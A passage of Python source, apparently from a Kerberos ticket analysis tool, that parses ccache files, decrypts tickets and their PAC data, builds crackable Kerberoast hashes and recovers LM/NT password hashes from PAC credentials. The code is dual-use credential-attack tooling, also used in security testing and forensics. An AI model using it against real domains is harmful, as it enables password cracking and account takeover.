\"521\": \"Read-Only Domain Controllers\",\n    \"522\": \"Cloneable Controllers\",\n    \"525\": \"Protected Users\",\n    \"526\": \"Key Admins\",\n    \"527\": \"Enterprise Key Admins\",\n    \"553\": \"RAS and IAS Servers\",\n    \"571\": \"Allowed RODC Password Replication Group\",\n    \"572\": \"Denied RODC Password Replication Group\",\n    \"S-1-1-0\": \"Everyone\",\n    \"S-1-2-0\": \"Local\",\n    \"S-1-2-1\": \"Console Logon\",\n    \"S-1-3-0\": \"Creator Owner\",\n    \"S-1-3-1\": \"Creator Group\",\n    \"S-1-3-2\": \"Owner Server\",\n    \"S-1-3-3\": \"Group Server\",\n    \"S-1-3-4\": \"Owner Rights\",\n    \"S-1-5-1\": \"Dialup\",\n    \"S-1-5-2\": \"Network\",\n    \"S-1-5-3\": \"Batch\",\n    \"S-1-5-4\": \"Interactive\",\n    \"S-1-5-6\": \"Service\",\n    \"S-1-5-7\": \"Anonymous Logon\",\n    \"S-1-5-8\": \"Proxy\",\n    \"S-1-5-9\": \"Enterprise Domain Controllers\",\n    \"S-1-5-10\": \"Self\",\n    \"S-1-5-11\": \"Authenticated Users\",\n    \"S-1-5-12\": \"Restricted Code\",\n    \"S-1-5-13\": \"Terminal Server User\",\n    \"S-1-5-14\": \"Remote Interactive Logon\",\n    \"S-1-5-15\": \"This Organization\",\n    \"S-1-5-17\": \"IUSR\",\n    \"S-1-5-18\": \"System (or LocalSystem)\",\n    \"S-1-5-19\": \"NT Authority (LocalService)\",\n    \"S-1-5-20\": \"Network Service\",\n    \"S-1-5-32-544\": \"Administrators\",\n    \"S-1-5-32-545\": \"Users\",\n    \"S-1-5-32-546\": \"Guests\",\n    \"S-1-5-32-547\": \"Power Users\",\n    \"S-1-5-32-548\": \"Account Operators\",\n    \"S-1-5-32-549\": \"Server Operators\",\n    \"S-1-5-32-550\": \"Print Operators\",\n    \"S-1-5-32-551\": \"Backup Operators\",\n    \"S-1-5-32-552\": \"Replicators\",\n    \"S-1-5-32-554\": \"Builtin\\\\Pre-Windows\",\n    \"S-1-5-32-555\": \"Builtin\\\\Remote Desktop Users\",\n    \"S-1-5-32-556\": \"Builtin\\\\Network Configuration Operators\",\n    \"S-1-5-32-557\": \"Builtin\\\\Incoming Forest Trust Builders\",\n    \"S-1-5-32-558\": \"Builtin\\\\Performance Monitor Users\",\n    \"S-1-5-32-559\": \"Builtin\\\\Performance Log Users\",\n    \"S-1-5-32-560\": \"Builtin\\\\Windows Authorization Access Group\",\n    \"S-1-5-32-561\": \"Builtin\\\\Terminal Server License Servers\",\n    \"S-1-5-32-562\": \"Builtin\\\\Distributed COM Users\",\n    \"S-1-5-32-568\": \"Builtin\\\\IIS_IUSRS\",\n    \"S-1-5-32-569\": \"Builtin\\\\Cryptographic Operators\",\n    \"S-1-5-32-573\": \"Builtin\\\\Event Log Readers\",\n    \"S-1-5-32-574\": \"Builtin\\\\Certificate Service DCOM Access\",\n    \"S-1-5-32-575\": \"Builtin\\\\RDS Remote Access Servers\",\n    \"S-1-5-32-576\": \"Builtin\\\\RDS Endpoint Servers\",\n    \"S-1-5-32-577\": \"Builtin\\\\RDS Management Servers\",\n    \"S-1-5-32-578\": \"Builtin\\\\Hyper-V Administrators\",\n    \"S-1-5-32-579\": \"Builtin\\\\Access Control Assistance Operators\",\n    \"S-1-5-32-580\": \"Builtin\\\\Remote Management Users\",\n    \"S-1-5-64-10\": \"NTLM Authentication\",\n    \"S-1-5-64-14\": \"SChannel Authentication\",\n    \"S-1-5-64-21\": \"Digest Authentication\",\n    \"S-1-5-80\": \"NT Service\",\n    \"S-1-5-80-0\": \"All Services\",\n    \"S-1-5-83-0\": \"NT VIRTUAL MACHINE\\\\Virtual Machines\",\n    \"S-1-5-113\": \"Local Account\",\n    \"S-1-5-114\": \"Local Account and member of Administrators group\",\n    \"S-1-5-1000\": \"Other Organization\",\n    \"S-1-15-2-1\": \"All app packages\",\n    \"S-1-16-0\": \"ML Untrusted\",\n    \"S-1-16-4096\": \"ML Low\",\n    \"S-1-16-8192\": \"ML Medium\",\n    \"S-1-16-8448\": \"ML Medium Plus\",\n    \"S-1-16-12288\": \"ML High\",\n    \"S-1-16-16384\": \"ML System\",\n    \"S-1-16-20480\": \"ML Protected Process\",\n    \"S-1-16-28672\": \"ML Secure Process\",\n    \"S-1-18-1\": \"Authentication authority asserted identity\",\n    \"S-1-18-2\": \"Service asserted identity\",\n    \"S-1-18-3\": \"Fresh public key identity\",\n    \"S-1-18-4\": \"Key trust identity\",\n    \"S-1-18-5\": \"Key property MFA\",\n    \"S-1-18-6\": \"Key property attestation\",\n}\n\n\ndef parse_ccache(args):\n    ccache = CCache.loadFile(args.ticket)\n\n    cred_number = 0\n    logging.info('Number of credentials in cache: %d' % len(ccache.credentials))\n\n    for creds in ccache.credentials:\n        logging.info('Parsing credential[%d]:' % cred_number)\n\n        rawTicket = creds.toTGS()\n        decodedTicket = decoder.decode(rawTicket['KDC_REP'], asn1Spec=TGS_REP())[0]\n\n        # Printing the session key\n        sessionKey = hexlify(rawTicket['sessionKey'].contents).decode('utf-8')\n        logging.info(\"%-30s: %s\" % (\"Ticket Session Key\", sessionKey))\n\n        # Beginning the parsing of the ticket\n        logging.info(\"%-30s: %s\" % (\"User Name\", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')))\n        logging.info(\"%-30s: %s\" % (\"User Realm\", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8')))\n        spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8')\n        logging.info(\"%-30s: %s\" % (\"Service Name\", spn))\n        logging.info(\"%-30s: %s\" % (\"Service Realm\", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8')))\n        logging.info(\"%-30s: %s\" % (\"Start Time\", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime(\"%d/%m/%Y %H:%M:%S %p\")))\n        if datetime.datetime.fromtimestamp(creds['time']['endtime']) < datetime.datetime.now():\n            logging.info(\"%-30s: %s (expired)\" % (\"End Time\", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime(\"%d/%m/%Y %H:%M:%S %p\")))\n        else:\n            logging.info(\"%-30s: %s\" % (\"End Time\", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime(\"%d/%m/%Y %H:%M:%S %p\")))\n        if datetime.datetime.fromtimestamp(creds['time']['renew_till']) < datetime.datetime.now():\n            logging.info(\"%-30s: %s (expired)\" % (\"RenewTill\", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime(\"%d/%m/%Y %H:%M:%S %p\")))\n        else:\n            logging.info(\"%-30s: %s\" % (\"RenewTill\", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime(\"%d/%m/%Y %H:%M:%S %p\")))\n\n        flags = []\n        for k in constants.TicketFlags:\n            if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1:\n                flags.append(constants.TicketFlags(k.value).name)\n        logging.info(\"%-30s: (0x%x) %s\" % (\"Flags\", creds['tktflags'], \", \".join(flags)))\n        keyType = constants.EncryptionTypes(creds[\"key\"][\"keytype\"]).name\n        logging.info(\"%-30s: %s\" % (\"KeyType\", keyType))\n        logging.info(\"%-30s: %s\" % (\"Base64(key)\", base64.b64encode(creds[\"key\"][\"keyvalue\"]).decode(\"utf-8\")))\n\n        if spn.split('/')[0] != 'krbtgt':\n            logging.debug(\"Attempting to create Kerberoast hash\")\n            kerberoast_hash = None\n            # code adapted from Rubeus's DisplayTicket() (https://github.com/GhostPack/Rubeus/blob/3620814cd2c5f05e87cddd50211197bd932fec51/Rubeus/lib/LSA.cs)\n            # if this isn't a TGT, try to display a Kerberoastable hash\n            if keyType != \"rc4_hmac\"  and keyType != \"aes256_cts_hmac_sha1_96\":\n                # can only display rc4_hmac ad it doesn't have a salt. DES/AES keys require the user/domain as a salt, and we don't have\n                # the user account name that backs the requested SPN for the ticket, no no dice :(\n                logging.debug(\"Service ticket uses encryption key type %s, unable to extract hash and salt\" % keyType)\n            elif keyType == \"rc4_hmac\":\n                kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = args.user, domain = args.domain)\n            elif args.user:\n                if args.user.endswith(\"$\"):\n                    user = \"host%s.%s\" % (args.user.rstrip('$').lower(), args.domain.lower())\n                else:\n                    user = args.user\n                kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = user, domain = args.domain)\n            else:\n                logging.error(\"AES256 in use but no '-u/--user' passed, unable to generate crackable hash\")\n            if kerberoast_hash:\n                logging.info(\"%-30s: %s\" % (\"Kerberoast hash\", kerberoast_hash))\n\n        logging.info(\"%-30s:\" % \"Decoding unencrypted data in credential[%d]['ticket']\" % cred_number)\n        spn = \"/\".join(list([str(sname_component) for sname_component in decodedTicket['ticket']['sname']['name-string']]))\n        etype = decodedTicket['ticket']['enc-part']['etype']\n        logging.info(\"  %-28s: %s\" % (\"Service Name\", spn))\n        logging.info(\"  %-28s: %s\" % (\"Service Realm\", decodedTicket['ticket']['realm']))\n        logging.info(\"  %-28s: %s (etype %d)\" % (\"Encryption type\", constants.EncryptionTypes(etype).name, etype))\n        if not decodedTicket['ticket']['enc-part']['kvno'].isNoValue():\n            logging.debug(\"No kvno in ticket, skipping\")\n            logging.info(\"  %-28s: %d\" % (\"Key version number (kvno)\", decodedTicket['ticket']['enc-part']['kvno']))\n        logging.debug(\"Handling Kerberos keys\")\n        ekeys = generate_kerberos_keys(args.rc4, args.aes, args.password, args.hex_pass, args.salt, args.user, args.domain)\n\n        # copypasta from krbrelayx.py\n        # Select the correct encryption key\n        try:\n            logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype))\n            key = ekeys[etype]\n            logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8'))\n        # This raises a KeyError (pun intended) if our key is not found\n        except KeyError:\n            if len(ekeys) > 0:\n                logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied',\n                              constants.EncryptionTypes(etype).name,\n                              etype,\n                              ', '.join([str(enctype) for enctype in ekeys.keys()]))\n            else:\n                logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied',\n                              constants.EncryptionTypes(etype).name,\n                              etype)\n            return None\n\n        # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']?\n        # Recover plaintext info from ticket\n        try:\n            cipherText = decodedTicket['ticket']['enc-part']['cipher']\n            newCipher = _enctype_table[int(etype)]\n            plainText = newCipher.decrypt(key, 2, cipherText)\n        except InvalidChecksum:\n            logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect')\n            if args.salt:\n                logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a \"$\" to the name.')\n                logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\\'s Kerberos keys. The target service is the one who owns the \\'Service Name\\' SPN printed above')\n            return\n\n        logging.debug('Ticket successfully decrypted')\n        encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]\n        sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue']))\n        adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0]\n        # So here we have the PAC\n        pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets())\n        # parsing every PAC\n        parsed_pac = parse_pac(pacType, args)\n        logging.info(\"%-30s:\" % \"Decoding credential[%d]['ticket']['enc-part']\" % cred_number)\n        # One section per PAC\n        for element_type in parsed_pac:\n            element_type_name = list(element_type.keys())[0]\n            logging.info(\"  %-28s\" % element_type_name)\n            # iterate over each attribute of the current PAC\n            for attribute in element_type[element_type_name]:\n                value = element_type[element_type_name][attribute]\n                if isinstance(value, Sequence) and not isinstance(value, str):\n                    # If the value is an array, print as a multiline view for better readability\n                    if len(value) > 0:\n                        logging.info(\"    %-26s: %s\" % (attribute, value[0]))\n                        for subvalue in value[1:]:\n                            logging.info(\" \"*32+\"%s\" % subvalue)\n                    else:\n                        logging.info(\"    %-26s:\" % attribute)\n                else:\n                    logging.info(\"    %-26s: %s\" % (attribute, value))\n\n        cred_number += 1\n\n\ndef parse_pac(pacType, args):\n    def PACparseFILETIME(data):\n        # FILETIME structure (minwinbase.h)\n        # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC).\n        # https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime\n        dwLowDateTime = data['dwLowDateTime']\n        dwHighDateTime = data['dwHighDateTime']\n        v_FILETIME = \"Infinity (absolute time)\"\n        if dwLowDateTime != 0xffffffff and dwHighDateTime != 0x7fffffff:\n            temp_time = dwHighDateTime\n            temp_time <<= 32\n            temp_time |= dwLowDateTime\n            if datetime.timedelta(microseconds=temp_time / 10).total_seconds() != 0:\n                v_FILETIME = (datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(microseconds=temp_time / 10)).strftime(\"%d/%m/%Y %H:%M:%S %p\")\n        return v_FILETIME\n\n\n    def PACparseGroupIds(data):\n        groups = []\n        for group in data:\n            groupMembership = {}\n            groupMembership['RelativeId'] = group['RelativeId']\n            groupMembership['Attributes'] = group['Attributes']\n            groups.append(groupMembership)\n        return groups\n\n\n    parsed_tuPAC = []\n    buff = pacType['Buffers']\n\n    for bufferN in range(pacType['cBuffers']):\n        infoBuffer = pac.PAC_INFO_BUFFER(buff)\n        data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]\n        if infoBuffer['ulType'] == pac.PAC_LOGON_INFO:\n            type1 = TypeSerialization1(data)\n            newdata = data[len(type1)+4:]\n            kerbdata = pac.KERB_VALIDATION_INFO()\n            kerbdata.fromString(newdata)\n            kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):])\n            parsed_data = {}\n            parsed_data['Logon Time'] = PACparseFILETIME(kerbdata['LogonTime'])\n            parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata['LogoffTime'])\n            parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata['KickOffTime'])\n            parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata['PasswordLastSet'])\n            parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata['PasswordCanChange'])\n            parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata['PasswordMustChange'])\n            parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata['LastSuccessfulILogon'])\n            parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata['LastFailedILogon'])\n            parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount']\n            parsed_data['Account Name'] = kerbdata['EffectiveName']\n            parsed_data['Full Name'] = kerbdata['FullName']\n            parsed_data['Logon Script'] = kerbdata['LogonScript']\n            parsed_data['Profile Path'] = kerbdata['ProfilePath']\n            parsed_data['Home Dir'] = kerbdata['HomeDirectory']\n            parsed_data['Dir Drive'] = kerbdata['HomeDirectoryDrive']\n            parsed_data['Logon Count'] = kerbdata['LogonCount']\n            parsed_data['Bad Password Count'] = kerbdata['BadPasswordCount']\n            parsed_data['User RID'] = kerbdata['UserId']\n            parsed_data['Group RID'] = kerbdata['PrimaryGroupId']\n            parsed_data['Group Count'] = kerbdata['GroupCount']\n\n            all_groups_id = [str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])]\n            parsed_data['Groups'] = \", \".join(all_groups_id)\n            groups = []\n            unknown_count = 0\n            # Searching for common group name\n            for gid in all_groups_id:\n                group_name = MsBuiltInGroups.get(gid)\n                if group_name:\n                    groups.append(f\"({gid}) {group_name}\")\n                else:\n                    unknown_count += 1\n            if unknown_count > 0:\n                groups.append(f\"+{unknown_count} Unknown custom group{'s' if unknown_count > 1 else ''}\")\n            parsed_data['Groups (decoded)'] = groups\n\n            # UserFlags parsing\n            UserFlags = kerbdata['UserFlags']\n            User_Flags_Flags = []\n            for flag in User_Flags:\n                if UserFlags & flag.value:\n                    User_Flags_Flags.append(flag.name)\n            parsed_data['User Flags'] = \"(%s) %s\" % (UserFlags, \", \".join(User_Flags_Flags))\n            parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8')\n            parsed_data['Logon Server'] = kerbdata['LogonServer']\n            parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName']\n\n            # LogonDomainId parsing\n            if kerbdata['LogonDomainId'] == b'':\n                parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId']\n            else:\n                parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId'].formatCanonical()\n\n            # UserAccountControl parsing\n            UAC = kerbdata['UserAccountControl']\n            UAC_Flags = []\n            for flag in USER_ACCOUNT_Codes:\n                if UAC & flag.value:\n                    UAC_Flags.append(flag.name)\n            parsed_data['User Account Control'] = \"(%s) %s\" % (UAC, \", \".join(UAC_Flags))\n            parsed_data['Extra SID Count'] = kerbdata['SidCount']\n            extraSids = []\n\n            # ExtraSids parsing\n            for extraSid in kerbdata['ExtraSids']:\n                sid = extraSid['Sid'].formatCanonical()\n                attributes = extraSid['Attributes']\n                attributes_flags = []\n                for flag in SE_GROUP_Attributes:\n                    if attributes & flag.value:\n                        attributes_flags.append(flag.name)\n                # Group name matching\n                group_name = MsBuiltInGroups.get(sid, '')\n                if not group_name and len(sid.split('-')) == 8:\n                    # Try to find an RID match\n                    group_name = MsBuiltInGroups.get(sid.split('-')[-1], '')\n                if group_name:\n                    group_name = f\" {group_name}\"\n                extraSids.append(\"%s%s (%s)\" % (sid, group_name, ', '.join(attributes_flags)))\n            parsed_data['Extra SIDs'] = extraSids\n\n            # ResourceGroupDomainSid parsing\n            if kerbdata['ResourceGroupDomainSid'] == b'':\n                parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid']\n            else:\n                parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid'].formatCanonical()\n\n            parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount']\n            parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])])\n            parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8')\n            parsed_data['SubAuthStatus'] = kerbdata['SubAuthStatus']\n            parsed_data['Reserved3'] = kerbdata['Reserved3']\n            parsed_tuPAC.append({\"LoginInfo\": parsed_data})\n\n        elif infoBuffer['ulType'] == pac.PAC_CLIENT_INFO_TYPE:\n            clientInfo = pac.PAC_CLIENT_INFO()\n            clientInfo.fromString(data)\n            parsed_data = {}\n            try:\n                parsed_data['Client Id'] = PACparseFILETIME(clientInfo['ClientId'])\n            except:\n                try:\n                    parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32]))\n                except Exception as e:\n                    logging.error(e)\n            parsed_data['Client Name'] = clientInfo['Name'].decode('utf-16-le')\n            parsed_tuPAC.append({\"ClientName\": parsed_data})\n\n        elif infoBuffer['ulType'] == pac.PAC_UPN_DNS_INFO:\n            upn = pac.UPN_DNS_INFO(data)\n            # UPN PArsing\n            UpnLength = upn['UpnLength']\n            UpnOffset = upn['UpnOffset']\n            UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le')\n\n            # DNS Name Parsing\n            DnsDomainNameLength = upn['DnsDomainNameLength']\n            DnsDomainNameOffset = upn['DnsDomainNameOffset']\n            DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le')\n\n            # Flag parsing\n            flags = upn['Flags']\n            attr_flags = []\n            for flag_lib in Upn_Dns_Flags:\n                if flags & flag_lib.value:\n                    attr_flags.append(flag_lib.name)\n            parsed_data = {}\n            parsed_data['Flags'] = f\"({flags}) {', '.join(attr_flags)}\"\n            parsed_data['UPN'] = UpnName\n            parsed_data['DNS Domain Name'] = DnsName\n\n            # Depending on the flag supplied, additional data may be supplied\n            if Upn_Dns_Flags.S_SidSamSupplied.name in attr_flags:\n                # SamAccountName and Sid is also supplied\n                upn = pac.UPN_DNS_INFO_FULL(data)\n                # Sam parsing\n                SamNameLength = upn['SamNameLength']\n                SamNameOffset = upn['SamNameOffset']\n                SamName = data[SamNameOffset:SamNameOffset+SamNameLength].decode('utf-16-le')\n\n                # Sid parsing\n                SidLength = upn['SidLength']\n                SidOffset = upn['SidOffset']\n                Sid = LDAP_SID(data[SidOffset:SidOffset+SidLength])  # Using LDAP_SID instead of RPC_SID (https://github.com/SecureAuthCorp/impacket/issues/1386)\n\n                parsed_data[\"SamAccountName\"] = SamName\n                parsed_data[\"UserSid\"] = Sid.formatCanonical()\n            parsed_tuPAC.append({\"UpnDns\": parsed_data})\n\n        elif infoBuffer['ulType'] == pac.PAC_SERVER_CHECKSUM:\n            signatureData = pac.PAC_SIGNATURE_DATA(data)\n            parsed_data = {}\n            parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name\n            parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8')\n            parsed_tuPAC.append({\"ServerChecksum\": parsed_data})\n\n        elif infoBuffer['ulType'] == pac.PAC_PRIVSVR_CHECKSUM:\n            signatureData = pac.PAC_SIGNATURE_DATA(data)\n            parsed_data = {}\n            parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name\n            # signatureData.dump()\n            parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8')\n            parsed_tuPAC.append({\"KDCChecksum\": parsed_data})\n\n        elif infoBuffer['ulType'] == pac.PAC_CREDENTIALS_INFO:\n            # Parsing 2.6.1 PAC_CREDENTIAL_INFO\n            credential_info = pac.PAC_CREDENTIAL_INFO(data)\n            parsed_credential_info = {}\n            parsed_credential_info['Version'] = \"(0x%x) %d\" % (credential_info.fields['Version'], credential_info.fields['Version'])\n            credinfo_enctype = credential_info.fields['EncryptionType']\n            parsed_credential_info['Encryption Type'] = \"(0x%x) %s\" % (credinfo_enctype, constants.EncryptionTypes(credential_info.fields['EncryptionType']).name)\n            if not args.asrep_key:\n                parsed_credential_info['Encryption Type'] = \"<Cannot decrypt, --asrep-key missing>\"\n                logging.error('No ASREP key supplied, cannot decrypt PAC Credentials')\n                parsed_tuPAC.append({\"Credential Info\": parsed_credential_info})\n            else:\n                parsed_tuPAC.append({\"Credential Info\": parsed_credential_info})\n                newCipher = _enctype_table[credinfo_enctype]\n                key = Key(credinfo_enctype, unhexlify(args.asrep_key))\n                plain_credential_data = newCipher.decrypt(key, 16, credential_info.fields['SerializedData'])\n                type1 = TypeSerialization1(plain_credential_data)\n                newdata = plain_credential_data[len(type1) + 4:]\n                # Parsing 2.6.2 PAC_CREDENTIAL_DATA\n                credential_data = pac.PAC_CREDENTIAL_DATA(newdata)\n                parsed_credential_data = {}\n                parsed_credential_data['  Credential Count'] = credential_data['CredentialCount']\n                parsed_tuPAC.append({\"  Credential Data\": parsed_credential_data})\n                # Parsing (one or many) 2.6.3 SECPKG_SUPPLEMENTAL_CRED\n                for credential in credential_data['Credentials']:\n                    parsed_secpkg_supplemental_cred = {}\n                    parsed_secpkg_supplemental_cred['      Package Name'] = credential['PackageName']\n                    parsed_secpkg_supplemental_cred['      Credential Size'] = credential['CredentialSize']\n                    parsed_tuPAC.append({\"      SecPkg Credentials\": parsed_secpkg_supplemental_cred})\n                    # Parsing 2.6.4 NTLM_SUPPLEMENTAL_CREDENTIAL\n                    ntlm_supplemental_cred = pac.NTLM_SUPPLEMENTAL_CREDENTIAL(b''.join(credential['Credentials']))\n                    parsed_ntlm_supplemental_cred = {}\n                    parsed_ntlm_supplemental_cred['        Version'] = ntlm_supplemental_cred['Version']\n                    parsed_ntlm_supplemental_cred['        Flags'] = ntlm_supplemental_cred['Flags']\n                    parsed_ntlm_supplemental_cred['        LmPasword'] = hexlify(ntlm_supplemental_cred['LmPassword']).decode('utf-8')\n                    parsed_ntlm_supplemental_cred['        NtPasword'] = hexlify(ntlm_supplemental_cred['NtPassword']).decode('utf-8')\n                    parsed_tuPAC.append({\"        NTLM Credentials\": parsed_ntlm_supplemental_cred})\n\n        elif infoBuffer['ulType'] == pac.PAC_DELEGATION_INFO:\n            delegationInfo = pac.S4U_DELEGATION_INFO(data)\n            parsed_data = {}\n            parsed_data['S4U2proxyTarget'] = delegationInfo['S4U2proxyTarget']\n            parsed_data['TransitedListSize'] = delegationInfo.fields['TransitedListSize'].fields['Data']\n            parsed_data['S4UTransitedServices'] = delegationInfo['S4UTransitedServices'].decode('utf-8')\n            parsed_tuPAC.append({\"DelegationInfo\": parsed_data})\n        elif infoBuffer['ulType'] == pac.PAC_ATTRIBUTES_INFO:\n            # Parsing 2.14 PAC_ATTRIBUTES_INFO\n            attributeInfo = pac.PAC_ATTRIBUTE_INFO(data)\n            flags = attributeInfo['Flags']\n            attr_flags = []\n            for flag_lib in Attributes_Flags:\n                if flags & flag_lib.value:\n                    attr_flags.append(flag_lib.name)\n\n            parsed_data = {\n                'Flags': f\"({flags}) {', '.join(attr_flags)}\"\n            }\n            parsed_tuPAC.append({\"Attributes Info\": parsed_data})\n        elif infoBuffer['ulType'] == pac.PAC_REQUESTOR_INFO:\n            # Parsing 2.15 PAC_REQUESTOR\n            requestorInfo = pac.PAC_REQUESTOR(data)\n            parsed_data = {\n                'UserSid': requestorInfo['UserSid'].formatCanonical()\n            }\n            parsed_tuPAC.append({\"Requestor Info\": parsed_data})\n        else:\n            logging.debug(\"Unsupported PAC structure: %s. Please raise an issue or PR\" % infoBuffer['ulType'])\n\n        buff = buff[len(infoBuffer):]\n    return parsed_tuPAC\n\n\n\ndef kerberoast_from_ccache(decodedTGS, spn, username, domain):\n    try:\n        if not domain:\n            domain = decodedTGS['ticket']['realm']._value.upper()\n        else:\n            domain = domain.upper()\n\n        if not username:\n            username = \"USER\"\n\n        username = username.rstrip('$')\n\n        # Copy-pasta from GestUserSPNs.py\n        if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:\n            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (\n                constants.EncryptionTypes.rc4_hmac.value, username, domain, spn.replace(':', '~'),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())\n        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:\n            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (\n                constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode)\n        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:\n            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (\n                constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())\n        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:\n            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (\n                constants.EncryptionTypes.des_cbc_md5.value, username, domain, spn.replace(':', '~'),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())\n        else:\n            logging.debug('Skipping %s/%s due to incompatible e-type %d' % (\n                decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],\n                decodedTGS['ticket']['enc-part']['etype']))\n        return entry\n    except Exception as e:\n        raise\n        logging.debug(\"Not able to parse ticket: %s\" % e)\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(add_help=True, description='Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC.')\n\n    parser.add_argument('ticket', action='store', help='Path to ticket.ccache')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    ticket_decryption = parser.add_argument_group()\n    ticket_decryption.title = 'Ticket decryption credentials (optional)'\n    ticket_decryption.description = 'Tickets carry a set of information encrypted by one of the target service account\\'s Kerberos keys.' \\\n                        '(example: if the ticket is for user:\"john\" for service:\"cifs/service.domain.local\", you need to supply credentials or keys ' \\\n                        'of the service account who owns SPN \"cifs/service.domain.local\")'\n    ticket_decryption.add_argument('-p', '--password', action=\"store\", metavar=\"PASSWORD\", help='Cleartext password of the service account')\n    ticket_decryption.add_argument('-hp', '--hex-password', dest='hex_pass', action=\"store\", metavar=\"HEXPASSWORD\", help='Hex password of the service account')\n    ticket_decryption.add_argument('-u', '--user', action=\"store\", metavar=\"USER\", help='Name of the service account')\n    ticket_decryption.add_argument('-d', '--domain', action=\"store\", metavar=\"DOMAIN\", help='FQDN Domain')\n    ticket_decryption.add_argument('-s', '--salt', action=\"store\", metavar=\"SALT\", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)')\n    ticket_decryption.add_argument('--rc4', action=\"store\", metavar=\"RC4\", help='RC4 KEY (i.e. NT hash)')\n    ticket_decryption.add_argument('--aes', action=\"store\", metavar=\"HEXKEY\", help='AES128 or AES256 key')\n\n    credential_info = parser.add_argument_group()\n    credential_info.title = 'PAC Credentials decryption material'\n    credential_info.description = 